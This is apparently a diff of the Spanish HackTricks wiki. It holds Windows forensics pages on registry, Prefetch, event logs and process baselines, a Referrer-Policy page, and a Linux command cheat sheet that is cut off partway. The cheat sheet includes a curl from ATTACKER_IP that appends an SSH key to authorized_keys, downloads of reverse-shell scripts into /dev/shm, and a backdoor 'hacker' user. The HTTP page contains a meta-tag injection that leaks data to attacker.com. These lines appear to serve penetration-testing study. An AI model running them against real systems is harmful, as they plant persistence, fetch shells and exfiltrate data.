Un **archivo OST** es generado por Microsoft Outlook cuando está configurado con **IMAP** o un servidor **Exchange**, almacenando información similar a un archivo PST. Este archivo se sincroniza con el servidor, reteniendo datos por **los últimos 12 meses** hasta un **tamaño máximo de 50GB**, y se encuentra en el mismo directorio que el archivo PST. Para ver un archivo OST, se puede utilizar el [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
### Recuperando Adjuntos
Los adjuntos perdidos podrían ser recuperables de:
- Para **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
- Para **IE11 y superiores**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
### Archivos MBOX de Thunderbird
**Thunderbird** utiliza **archivos MBOX** para almacenar datos, ubicados en `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
### Miniaturas de Imágenes
- **Windows XP y 8-8.1**: Acceder a una carpeta con miniaturas genera un archivo `thumbs.db` que almacena vistas previas de imágenes, incluso después de la eliminación.
- **Windows 7/10**: `thumbs.db` se crea cuando se accede a través de una red mediante una ruta UNC.
- **Windows Vista y versiones más recientes**: Las vistas previas de miniaturas se centralizan en `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` con archivos llamados **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) y [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) son herramientas para ver estos archivos.
### Información del Registro de Windows
El Registro de Windows, que almacena una extensa cantidad de datos sobre el sistema y la actividad del usuario, se encuentra dentro de archivos en:
- `%windir%\System32\Config` para varias subclaves de `HKEY_LOCAL_MACHINE`.
- `%UserProfile%{User}\NTUSER.DAT` para `HKEY_CURRENT_USER`.
- Windows Vista y versiones posteriores respaldan los archivos del registro de `HKEY_LOCAL_MACHINE` en `%Windir%\System32\Config\RegBack\`.
- Además, la información sobre la ejecución de programas se almacena en `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` desde Windows Vista y Windows 2008 Server en adelante.
### Herramientas
Algunas herramientas son útiles para analizar los archivos del registro:
- **Editor del Registro**: Está instalado en Windows. Es una GUI para navegar a través del registro de Windows de la sesión actual.
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Permite cargar el archivo del registro y navegar a través de él con una GUI. También contiene Marcadores que destacan claves con información interesante.
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Nuevamente, tiene una GUI que permite navegar a través del registro cargado y también contiene complementos que destacan información interesante dentro del registro cargado.
- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Otra aplicación GUI capaz de extraer la información importante del registro cargado.
### Recuperando Elementos Eliminados
Cuando se elimina una clave, se marca como tal, pero hasta que el espacio que ocupa sea necesario, no se eliminará. Por lo tanto, usando herramientas como **Registry Explorer** es posible recuperar estas claves eliminadas.
### Última Hora de Escritura
Cada Clave-Valor contiene una **marca de tiempo** que indica la última vez que fue modificada.
### SAM
El archivo/hive **SAM** contiene los **usuarios, grupos y hashes de contraseñas de los usuarios** del sistema.
En `SAM\Domains\Account\Users` puedes obtener el nombre de usuario, el RID, el último inicio de sesión, el último inicio de sesión fallido, el contador de inicios de sesión, la política de contraseñas y cuándo se creó la cuenta. Para obtener los **hashes** también **necesitas** el archivo/hive **SYSTEM**.
### Entradas Interesantes en el Registro de Windows
{{#ref}}
interesting-windows-registry-keys.md
{{#endref}}
## Programas Ejecutados
### Procesos Básicos de Windows
En [esta publicación](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) puedes aprender sobre los procesos comunes de Windows para detectar comportamientos sospechosos.
### Aplicaciones Recientes de Windows
Dentro del registro `NTUSER.DAT` en la ruta `Software\Microsoft\Current Version\Search\RecentApps` puedes encontrar subclaves con información sobre la **aplicación ejecutada**, **última vez** que fue ejecutada y **número de veces** que fue lanzada.
### BAM (Moderador de Actividad en Segundo Plano)
Puedes abrir el archivo `SYSTEM` con un editor de registro y dentro de la ruta `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` puedes encontrar la información sobre las **aplicaciones ejecutadas por cada usuario** (nota el `{SID}` en la ruta) y a **qué hora** fueron ejecutadas (la hora está dentro del valor de datos del registro).
### Prefetch de Windows
El prefetching es una técnica que permite a una computadora **obtener silenciosamente los recursos necesarios para mostrar contenido** que un usuario **podría acceder en un futuro cercano** para que los recursos puedan ser accedidos más rápido.
El prefetch de Windows consiste en crear **cachés de los programas ejecutados** para poder cargarlos más rápido. Estas cachés se crean como archivos `.pf` dentro de la ruta: `C:\Windows\Prefetch`. Hay un límite de 128 archivos en XP/VISTA/WIN7 y 1024 archivos en Win8/Win10.
El nombre del archivo se crea como `{program_name}-{hash}.pf` (el hash se basa en la ruta y argumentos del ejecutable). En W10, estos archivos están comprimidos. Ten en cuenta que la sola presencia del archivo indica que **el programa fue ejecutado** en algún momento.
El archivo `C:\Windows\Prefetch\Layout.ini` contiene los **nombres de las carpetas de los archivos que se prefetch**. Este archivo contiene **información sobre el número de ejecuciones**, **fechas** de la ejecución y **archivos** **abiertos** por el programa.
Para inspeccionar estos archivos puedes usar la herramienta [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
```bash
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
```
![](<../../../images/image (487).png>)
### Superprefetch
**Superprefetch** tiene el mismo objetivo que prefetch, **cargar programas más rápido** al predecir qué se va a cargar a continuación. Sin embargo, no sustituye el servicio de prefetch.\
Este servicio generará archivos de base de datos en `C:\Windows\Prefetch\Ag*.db`.
En estas bases de datos puedes encontrar el **nombre** del **programa**, **número** de **ejecuciones**, **archivos** **abiertos**, **volumen** **accedido**, **ruta** **completa**, **intervalos de tiempo** y **marcas de tiempo**.
Puedes acceder a esta información utilizando la herramienta [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
### SRUM
**System Resource Usage Monitor** (SRUM) **monitorea** los **recursos** **consumidos** **por un proceso**. Apareció en W8 y almacena los datos en una base de datos ESE ubicada en `C:\Windows\System32\sru\SRUDB.dat`.
Proporciona la siguiente información:
- AppID y Ruta
- Usuario que ejecutó el proceso
- Bytes Enviados
- Bytes Recibidos
- Interfaz de Red
- Duración de la Conexión
- Duración del Proceso
Esta información se actualiza cada 60 minutos.
Puedes obtener la fecha de este archivo utilizando la herramienta [**srum_dump**](https://github.com/MarkBaggett/srum-dump).
```bash
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
```
### AppCompatCache (ShimCache)
El **AppCompatCache**, también conocido como **ShimCache**, forma parte de la **Base de Datos de Compatibilidad de Aplicaciones** desarrollada por **Microsoft** para abordar problemas de compatibilidad de aplicaciones. Este componente del sistema registra varias piezas de metadatos de archivos, que incluyen:
- Ruta completa del archivo
- Tamaño del archivo
- Hora de última modificación bajo **$Standard_Information** (SI)
- Hora de última actualización del ShimCache
- Bandera de ejecución del proceso
Dicha información se almacena en el registro en ubicaciones específicas según la versión del sistema operativo:
- Para XP, los datos se almacenan en `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` con una capacidad para 96 entradas.
- Para Server 2003, así como para las versiones de Windows 2008, 2012, 2016, 7, 8 y 10, la ruta de almacenamiento es `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, acomodando 512 y 1024 entradas, respectivamente.
Para analizar la información almacenada, se recomienda utilizar la herramienta [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser).
![](<../../../images/image (488).png>)
### Amcache
El archivo **Amcache.hve** es esencialmente un hive del registro que registra detalles sobre las aplicaciones que se han ejecutado en un sistema. Se encuentra típicamente en `C:\Windows\AppCompat\Programas\Amcache.hve`.
Este archivo es notable por almacenar registros de procesos ejecutados recientemente, incluyendo las rutas a los archivos ejecutables y sus hashes SHA1. Esta información es invaluable para rastrear la actividad de las aplicaciones en un sistema.
Para extraer y analizar los datos de **Amcache.hve**, se puede utilizar la herramienta [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). El siguiente comando es un ejemplo de cómo usar AmcacheParser para analizar el contenido del archivo **Amcache.hve** y exportar los resultados en formato CSV:
```bash
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
```
Entre los archivos CSV generados, el `Amcache_Unassociated file entries` es particularmente notable debido a la rica información que proporciona sobre las entradas de archivos no asociadas.
El archivo CVS más interesante generado es el `Amcache_Unassociated file entries`.
### RecentFileCache
Este artefacto solo se puede encontrar en W7 en `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` y contiene información sobre la ejecución reciente de algunos binarios.
Puedes usar la herramienta [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) para analizar el archivo.
### Tareas programadas
Puedes extraerlas de `C:\Windows\Tasks` o `C:\Windows\System32\Tasks` y leerlas como XML.
### Servicios
Puedes encontrarlos en el registro bajo `SYSTEM\ControlSet001\Services`. Puedes ver qué se va a ejecutar y cuándo.
### **Windows Store**
Las aplicaciones instaladas se pueden encontrar en `\ProgramData\Microsoft\Windows\AppRepository\`\
Este repositorio tiene un **log** con **cada aplicación instalada** en el sistema dentro de la base de datos **`StateRepository-Machine.srd`**.
Dentro de la tabla de Aplicaciones de esta base de datos, es posible encontrar las columnas: "Application ID", "PackageNumber" y "Display Name". Estas columnas tienen información sobre aplicaciones preinstaladas e instaladas y se puede encontrar si algunas aplicaciones fueron desinstaladas porque los IDs de las aplicaciones instaladas deberían ser secuenciales.
También es posible **encontrar aplicaciones instaladas** dentro de la ruta del registro: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
Y **aplicaciones desinstaladas** en: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
## Eventos de Windows
La información que aparece dentro de los eventos de Windows es:
- Qué sucedió
- Marca de tiempo (UTC + 0)
- Usuarios involucrados
- Hosts involucrados (nombre de host, IP)
- Activos accedidos (archivos, carpetas, impresoras, servicios)
Los registros se encuentran en `C:\Windows\System32\config` antes de Windows Vista y en `C:\Windows\System32\winevt\Logs` después de Windows Vista. Antes de Windows Vista, los registros de eventos estaban en formato binario y después de eso, están en **formato XML** y utilizan la extensión **.evtx**.
La ubicación de los archivos de eventos se puede encontrar en el registro de SYSTEM en **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
Se pueden visualizar desde el Visor de Eventos de Windows (**`eventvwr.msc`**) o con otras herramientas como [**Event Log Explorer**](https://eventlogxp.com) **o** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
## Comprendiendo el registro de eventos de seguridad de Windows
Los eventos de acceso se registran en el archivo de configuración de seguridad ubicado en `C:\Windows\System32\winevt\Security.evtx`. El tamaño de este archivo es ajustable, y cuando se alcanza su capacidad, los eventos más antiguos se sobrescriben. Los eventos registrados incluyen inicios y cierres de sesión de usuarios, acciones de usuarios y cambios en la configuración de seguridad, así como acceso a archivos, carpetas y activos compartidos.
### Claves de Event IDs para la autenticación de usuarios:
- **EventID 4624**: Indica que un usuario se autenticó con éxito.
- **EventID 4625**: Señala un fallo de autenticación.
- **EventIDs 4634/4647**: Representan eventos de cierre de sesión de usuarios.
- **EventID 4672**: Denota inicio de sesión con privilegios administrativos.
#### Subtipos dentro de EventID 4634/4647:
- **Interactivo (2)**: Inicio de sesión directo del usuario.
- **Red (3)**: Acceso a carpetas compartidas.
- **Lote (4)**: Ejecución de procesos por lotes.
- **Servicio (5)**: Lanzamientos de servicios.
- **Proxy (6)**: Autenticación proxy.
- **Desbloquear (7)**: Pantalla desbloqueada con una contraseña.
- **Texto claro de red (8)**: Transmisión de contraseña en texto claro, a menudo desde IIS.
- **Nuevas credenciales (9)**: Uso de diferentes credenciales para el acceso.
- **Interactivo remoto (10)**: Inicio de sesión en escritorio remoto o servicios de terminal.
- **Interactivo en caché (11)**: Inicio de sesión con credenciales en caché sin contacto con el controlador de dominio.
- **Interactivo remoto en caché (12)**: Inicio de sesión remoto con credenciales en caché.
- **Desbloqueo en caché (13)**: Desbloqueo con credenciales en caché.
#### Códigos de estado y subestado para EventID 4625:
- **0xC0000064**: El nombre de usuario no existe - Podría indicar un ataque de enumeración de nombres de usuario.
- **0xC000006A**: Nombre de usuario correcto pero contraseña incorrecta - Posible intento de adivinanza de contraseña o fuerza bruta.
- **0xC0000234**: Cuenta de usuario bloqueada - Puede seguir a un ataque de fuerza bruta que resulta en múltiples inicios de sesión fallidos.
- **0xC0000072**: Cuenta deshabilitada - Intentos no autorizados de acceder a cuentas deshabilitadas.
- **0xC000006F**: Inicio de sesión fuera del tiempo permitido - Indica intentos de acceso fuera de las horas de inicio de sesión establecidas, un posible signo de acceso no autorizado.
- **0xC0000070**: Violación de restricciones de estación de trabajo - Podría ser un intento de inicio de sesión desde una ubicación no autorizada.
- **0xC0000193**: Expiración de cuenta - Intentos de acceso con cuentas de usuario expiradas.
- **0xC0000071**: Contraseña expirada - Intentos de inicio de sesión con contraseñas desactualizadas.
- **0xC0000133**: Problemas de sincronización de tiempo - Grandes discrepancias de tiempo entre el cliente y el servidor pueden ser indicativas de ataques más sofisticados como pass-the-ticket.
- **0xC0000224**: Se requiere cambio de contraseña obligatorio - Cambios obligatorios frecuentes pueden sugerir un intento de desestabilizar la seguridad de la cuenta.
- **0xC0000225**: Indica un error del sistema en lugar de un problema de seguridad.
- **0xC000015b**: Tipo de inicio de sesión denegado - Intento de acceso con un tipo de inicio de sesión no autorizado, como un usuario que intenta ejecutar un inicio de sesión de servicio.
#### EventID 4616:
- **Cambio de hora**: Modificación de la hora del sistema, podría oscurecer la línea de tiempo de los eventos.
#### EventID 6005 y 6006:
- **Inicio y apagado del sistema**: EventID 6005 indica que el sistema se está iniciando, mientras que EventID 6006 marca su apagado.
#### EventID 1102:
- **Eliminación de registros**: Los registros de seguridad están siendo borrados, lo que a menudo es una señal de alerta para encubrir actividades ilícitas.
#### EventIDs para el seguimiento de dispositivos USB:
- **20001 / 20003 / 10000**: Primera conexión del dispositivo USB.
- **10100**: Actualización del controlador USB.
- **EventID 112**: Hora de inserción del dispositivo USB.
Para ejemplos prácticos sobre cómo simular estos tipos de inicio de sesión y oportunidades de volcado de credenciales, consulta la [guía detallada de Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
Los detalles del evento, incluidos los códigos de estado y subestado, proporcionan más información sobre las causas del evento, particularmente notables en el Event ID 4625.
### Recuperando eventos de Windows
Para aumentar las posibilidades de recuperar eventos de Windows eliminados, se recomienda apagar la computadora sospechosa desconectándola directamente. **Bulk_extractor**, una herramienta de recuperación que especifica la extensión `.evtx`, se recomienda para intentar recuperar tales eventos.
### Identificando ataques comunes a través de eventos de Windows
Para una guía completa sobre cómo utilizar los IDs de eventos de Windows para identificar ataques cibernéticos comunes, visita [Red Team Recipe](https://redteamrecipe.com/event-codes/).
#### Ataques de fuerza bruta
Identificables por múltiples registros de EventID 4625, seguidos de un EventID 4624 si el ataque tiene éxito.
#### Cambio de hora
Registrado por EventID 4616, los cambios en la hora del sistema pueden complicar el análisis forense.
#### Seguimiento de dispositivos USB
Los EventIDs útiles del sistema para el seguimiento de dispositivos USB incluyen 20001/20003/10000 para el uso inicial, 10100 para actualizaciones de controladores y EventID 112 de DeviceSetupManager para marcas de tiempo de inserción.
#### Eventos de energía del sistema
EventID 6005 indica el inicio del sistema, mientras que EventID 6006 marca el apagado.
#### Eliminación de registros
El EventID de seguridad 1102 señala la eliminación de registros, un evento crítico para el análisis forense.
{{#include ../../../banners/hacktricks-training.md}}

101
src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md
View File

@ -1,101 +0,0 @@
# Claves de Registro de Windows Interesantes
### Claves de Registro de Windows Interesantes
{{#include ../../../banners/hacktricks-training.md}}
### **Información de Versión de Windows y Propietario**
- Ubicado en **`Software\Microsoft\Windows NT\CurrentVersion`**, encontrarás la versión de Windows, el Service Pack, la hora de instalación y el nombre del propietario registrado de manera sencilla.
### **Nombre del Computador**
- El nombre del host se encuentra en **`System\ControlSet001\Control\ComputerName\ComputerName`**.
### **Configuración de Zona Horaria**
- La zona horaria del sistema se almacena en **`System\ControlSet001\Control\TimeZoneInformation`**.
### **Seguimiento de Tiempo de Acceso**
- Por defecto, el seguimiento del último tiempo de acceso está desactivado (**`NtfsDisableLastAccessUpdate=1`**). Para habilitarlo, usa:
`fsutil behavior set disablelastaccess 0`
### Versiones de Windows y Service Packs
- La **versión de Windows** indica la edición (por ejemplo, Home, Pro) y su lanzamiento (por ejemplo, Windows 10, Windows 11), mientras que los **Service Packs** son actualizaciones que incluyen correcciones y, a veces, nuevas características.
### Habilitando el Tiempo de Último Acceso
- Habilitar el seguimiento del último tiempo de acceso te permite ver cuándo se abrieron por última vez los archivos, lo que puede ser crítico para el análisis forense o la supervisión del sistema.
### Detalles de Información de Red
- El registro contiene datos extensos sobre configuraciones de red, incluyendo **tipos de redes (inalámbrica, cable, 3G)** y **categorías de red (Pública, Privada/Hogar, Dominio/Trabajo)**, que son vitales para entender la configuración de seguridad de la red y los permisos.
### Caché del Lado del Cliente (CSC)
- **CSC** mejora el acceso a archivos sin conexión al almacenar copias de archivos compartidos. Diferentes configuraciones de **CSCFlags** controlan cómo y qué archivos se almacenan en caché, afectando el rendimiento y la experiencia del usuario, especialmente en entornos con conectividad intermitente.
### Programas de Inicio Automático
- Los programas listados en varias claves de registro `Run` y `RunOnce` se inician automáticamente al arrancar, afectando el tiempo de arranque del sistema y potencialmente siendo puntos de interés para identificar malware o software no deseado.
### Shellbags
- **Shellbags** no solo almacenan preferencias para vistas de carpetas, sino que también proporcionan evidencia forense de acceso a carpetas incluso si la carpeta ya no existe. Son invaluables para investigaciones, revelando la actividad del usuario que no es obvia a través de otros medios.
### Información y Forense de USB
- Los detalles almacenados en el registro sobre dispositivos USB pueden ayudar a rastrear qué dispositivos se conectaron a una computadora, potencialmente vinculando un dispositivo a transferencias de archivos sensibles o incidentes de acceso no autorizado.
### Número de Serie de Volumen
- El **Número de Serie de Volumen** puede ser crucial para rastrear la instancia específica de un sistema de archivos, útil en escenarios forenses donde se necesita establecer el origen de un archivo a través de diferentes dispositivos.
### **Detalles de Apagado**
- La hora de apagado y el conteo (este último solo para XP) se mantienen en **`System\ControlSet001\Control\Windows`** y **`System\ControlSet001\Control\Watchdog\Display`**.
### **Configuración de Red**
- Para información detallada de la interfaz de red, consulta **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**.
- Los tiempos de conexión de red primero y último, incluidas las conexiones VPN, se registran en varias rutas en **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**.
### **Carpetas Compartidas**
- Las carpetas compartidas y configuraciones están bajo **`System\ControlSet001\Services\lanmanserver\Shares`**. Las configuraciones de Caché del Lado del Cliente (CSC) dictan la disponibilidad de archivos sin conexión.
### **Programas que Inician Automáticamente**
- Rutas como **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** y entradas similares bajo `Software\Microsoft\Windows\CurrentVersion` detallan programas configurados para ejecutarse al inicio.
### **Búsquedas y Rutas Escritas**
- Las búsquedas de Explorer y las rutas escritas se rastrean en el registro bajo **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** para WordwheelQuery y TypedPaths, respectivamente.
### **Documentos Recientes y Archivos de Office**
- Los documentos recientes y los archivos de Office accedidos se anotan en `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` y rutas específicas de versiones de Office.
### **Elementos Más Usados Recientemente (MRU)**
- Las listas MRU, que indican rutas de archivos y comandos recientes, se almacenan en varias subclaves de `ComDlg32` y `Explorer` bajo `NTUSER.DAT`.
### **Seguimiento de Actividad del Usuario**
- La función User Assist registra estadísticas detalladas de uso de aplicaciones, incluyendo el conteo de ejecuciones y la última hora de ejecución, en **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**.
### **Análisis de Shellbags**
- Shellbags, que revelan detalles de acceso a carpetas, se almacenan en `USRCLASS.DAT` y `NTUSER.DAT` bajo `Software\Microsoft\Windows\Shell`. Usa **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** para el análisis.
### **Historial de Dispositivos USB**
- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** y **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contienen detalles ricos sobre dispositivos USB conectados, incluyendo fabricante, nombre del producto y marcas de tiempo de conexión.
- El usuario asociado con un dispositivo USB específico se puede identificar buscando en los registros `NTUSER.DAT` para el **{GUID}** del dispositivo.
- El último dispositivo montado y su número de serie de volumen se pueden rastrear a través de `System\MountedDevices` y `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectivamente.
Esta guía condensa las rutas y métodos cruciales para acceder a información detallada del sistema, red y actividad del usuario en sistemas Windows, buscando claridad y usabilidad.
{{#include ../../../banners/hacktricks-training.md}}

106
src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md
View File

@ -1,106 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
## smss.exe
**Session Manager**.\
La sesión 0 inicia **csrss.exe** y **wininit.exe** (**servicios** **del** **SO**) mientras que la sesión 1 inicia **csrss.exe** y **winlogon.exe** (**sesión** **de** **usuario**). Sin embargo, deberías ver **solo un proceso** de ese **binario** sin hijos en el árbol de procesos.
Además, sesiones aparte de 0 y 1 pueden significar que están ocurriendo sesiones RDP.
## csrss.exe
**Proceso de Subsistema de Ejecución Cliente/Servidor**.\
Gestiona **procesos** y **hilos**, hace que la **API** **de** **Windows** esté disponible para otros procesos y también **asigna letras de unidad**, crea **archivos temporales** y maneja el **proceso** de **apagado**.
Hay uno **ejecutándose en la Sesión 0 y otro en la Sesión 1** (así que **2 procesos** en el árbol de procesos). Se crea otro **por cada nueva Sesión**.
## winlogon.exe
**Proceso de Inicio de Sesión de Windows**.\
Es responsable de los **inicios**/**cierres** de **sesión** de usuario. Lanza **logonui.exe** para pedir el nombre de usuario y la contraseña y luego llama a **lsass.exe** para verificarlos.
Luego lanza **userinit.exe** que está especificado en **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** con la clave **Userinit**.
Además, el registro anterior debería tener **explorer.exe** en la **clave Shell** o podría ser abusado como un **método de persistencia de malware**.
## wininit.exe
**Proceso de Inicialización de Windows**. \
Lanza **services.exe**, **lsass.exe** y **lsm.exe** en la Sesión 0. Solo debería haber 1 proceso.
## userinit.exe
**Aplicación de Inicio de Sesión de Userinit**.\
Carga el **ntduser.dat en HKCU** e inicializa el **entorno** **del** **usuario** y ejecuta **scripts de inicio de sesión** y **GPO**.
Lanza **explorer.exe**.
## lsm.exe
**Administrador de Sesiones Locales**.\
Trabaja con smss.exe para manipular sesiones de usuario: Inicio/cierre de sesión, inicio de shell, bloqueo/desbloqueo de escritorio, etc.
Después de W7, lsm.exe se transformó en un servicio (lsm.dll).
Solo debería haber 1 proceso en W7 y de ellos un servicio ejecutando la DLL.
## services.exe
**Administrador de Control de Servicios**.\
**Carga** **servicios** configurados como **inicio automático** y **controladores**.
Es el proceso padre de **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** y muchos más.
Los servicios están definidos en `HKLM\SYSTEM\CurrentControlSet\Services` y este proceso mantiene una base de datos en memoria de la información del servicio que puede ser consultada por sc.exe.
Nota cómo **algunos** **servicios** van a estar ejecutándose en un **proceso propio** y otros van a estar **compartiendo un proceso svchost.exe**.
Solo debería haber 1 proceso.
## lsass.exe
**Subsistema de Autoridad de Seguridad Local**.\
Es responsable de la **autenticación** del usuario y de crear los **tokens** de **seguridad**. Utiliza paquetes de autenticación ubicados en `HKLM\System\CurrentControlSet\Control\Lsa`.
Escribe en el **registro** **de** **eventos** de **seguridad** y solo debería haber 1 proceso.
Ten en cuenta que este proceso es altamente atacado para volcar contraseñas.
## svchost.exe
**Proceso de Host de Servicio Genérico**.\
Aloja múltiples servicios DLL en un proceso compartido.
Por lo general, encontrarás que **svchost.exe** se lanza con la bandera `-k`. Esto lanzará una consulta al registro **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** donde habrá una clave con el argumento mencionado en -k que contendrá los servicios a lanzar en el mismo proceso.
Por ejemplo: `-k UnistackSvcGroup` lanzará: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc`
Si la **bandera `-s`** también se usa con un argumento, entonces se le pide a svchost que **solo lance el servicio especificado** en este argumento.
Habrá varios procesos de `svchost.exe`. Si alguno de ellos **no está usando la bandera `-k`**, entonces eso es muy sospechoso. Si encuentras que **services.exe no es el padre**, eso también es muy sospechoso.
## taskhost.exe
Este proceso actúa como un host para procesos que se ejecutan desde DLLs. También carga los servicios que se están ejecutando desde DLLs.
En W8 se llama taskhostex.exe y en W10 taskhostw.exe.
## explorer.exe
Este es el proceso responsable del **escritorio del usuario** y de lanzar archivos a través de extensiones de archivo.
**Solo 1** proceso debería ser generado **por cada usuario conectado.**
Esto se ejecuta desde **userinit.exe** que debería ser terminado, por lo que **no debería aparecer un padre** para este proceso.
# Capturando Procesos Maliciosos
- ¿Se está ejecutando desde la ruta esperada? (Ningún binario de Windows se ejecuta desde una ubicación temporal)
- ¿Está comunicándose con IPs extrañas?
- Verifica las firmas digitales (los artefactos de Microsoft deberían estar firmados)
- ¿Está escrito correctamente?
- ¿Se está ejecutando bajo el SID esperado?
- ¿Es el proceso padre el esperado (si lo hay)?
- ¿Son los procesos hijos los esperados? (¿sin cmd.exe, wscript.exe, powershell.exe..?)
{{#include ../../../banners/hacktricks-training.md}}

BIN
src/images/CH_logo_ads.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 26 KiB

BIN
src/images/Pasted image 20250709114508.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 103 KiB

BIN
src/images/Pasted image 20250709115757.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 147 KiB

BIN
src/images/cyberhelmets-logo.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 16 KiB

BIN
src/images/discount.jpeg Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 186 KiB

BIN
src/images/nginx_try_files.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 190 KiB

35
src/interesting-http.md
View File

@ -1,35 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
# Encabezados y política de referencia
Referrer es el encabezado utilizado por los navegadores para indicar cuál fue la página anterior visitada.
## Información sensible filtrada
Si en algún momento dentro de una página web se encuentra información sensible en los parámetros de una solicitud GET, si la página contiene enlaces a fuentes externas o un atacante puede hacer/sugerir (ingeniería social) que el usuario visite una URL controlada por el atacante. Podría ser capaz de exfiltrar la información sensible dentro de la última solicitud GET.
## Mitigación
Puedes hacer que el navegador siga una **Referrer-policy** que podría **evitar** que la información sensible sea enviada a otras aplicaciones web:
```
Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url
```
## Contramedidas
Puedes anular esta regla utilizando una etiqueta meta HTML (el atacante necesita explotar una inyección HTML):
```html
<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">
```
## Defensa
Nunca pongas datos sensibles dentro de parámetros GET o rutas en la URL.
{{#include ./banners/hacktricks-training.md}}

297
src/linux-hardening/useful-linux-commands/README.md
View File

@ -1,297 +0,0 @@
# Comandos útiles de Linux
{{#include ../../banners/hacktricks-training.md}}
## Bash común
```bash
#Exfiltration using Base64
base64 -w 0 file
#Get HexDump without new lines
xxd -p boot12.bin | tr -d '\n'
#Add public key to authorized keys
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
#Echo without new line and Hex
echo -n -e
#Count
wc -l <file> #Lines
wc -c #Chars
#Sort
sort -nr #Sort by number and then reverse
cat file | sort | uniq #Sort and delete duplicates
#Replace in file
sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
#Download in RAM
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
#Files used by network processes
lsof #Open files belonging to any process
lsof -p 3 #Open files used by the process
lsof -i #Files used by networks processes
lsof -i 4 #Files used by network IPv4 processes
lsof -i 6 #Files used by network IPv6 processes
lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
lsof +D /lib #Processes using files inside the indicated dir
lsof -i :80 #Files uses by networks processes
fuser -nv tcp 80
#Decompress
tar -xvzf /path/to/yourfile.tgz
tar -xvjf /path/to/yourfile.tbz
bzip2 -d /path/to/yourfile.bz2
tar jxf file.tar.bz2
gunzip /path/to/yourfile.gz
unzip file.zip
7z -x file.7z
sudo apt-get install xz-utils; unxz file.xz
#Add new user
useradd -p 'openssl passwd -1 <Password>' hacker
#Clipboard
xclip -sel c < cat file.txt
#HTTP servers
python -m SimpleHTTPServer 80
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
php -S $ip:80
#Curl
#json data
